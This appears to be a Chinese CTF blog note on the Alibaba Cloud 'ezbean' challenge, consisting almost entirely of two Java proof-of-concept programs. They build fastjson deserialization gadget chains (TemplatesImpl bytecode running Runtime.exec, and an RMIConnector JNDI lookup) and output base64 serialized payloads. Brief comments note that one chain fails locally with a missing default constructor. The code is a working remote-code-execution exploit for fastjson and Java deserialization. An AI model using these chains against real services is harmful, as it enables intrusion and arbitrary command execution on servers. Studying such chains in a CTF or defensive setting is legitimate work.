1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Base64;import java.util.List;import com.ctf.ezser.utils.MyObjectInputStream;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test3 { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "1ue" ); setValue(templates, "_tfactory" , null ); List<Object> list = new ArrayList<>(); list.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); list.add(val); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(list); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
阿里云ctf ezbean fastjson1.2.60,jdk 1.8.0_121(可以ldap),有tomcat
wp给的链子差不多但是本地就不通了,报默认构造器不存在,不解,上面的通杀链可以通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.ctf.ezser;import com.alibaba.fastjson.JSONArray;import com.ctf.ezser.bean.MyBean;import javax.management.BadAttributeValueExpException;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class Poc { public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/tostil" ),null ); MyBean myBean = new MyBean("nm" ,"ss" ,rmiConnector); JSONArray jsonArray = new JSONArray(); jsonArray.add(myBean); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
default constructor not found. class javax.management.remote.rmi.RMIConnector
跑了下nu1l的exp依旧报默认构造器不存在,不解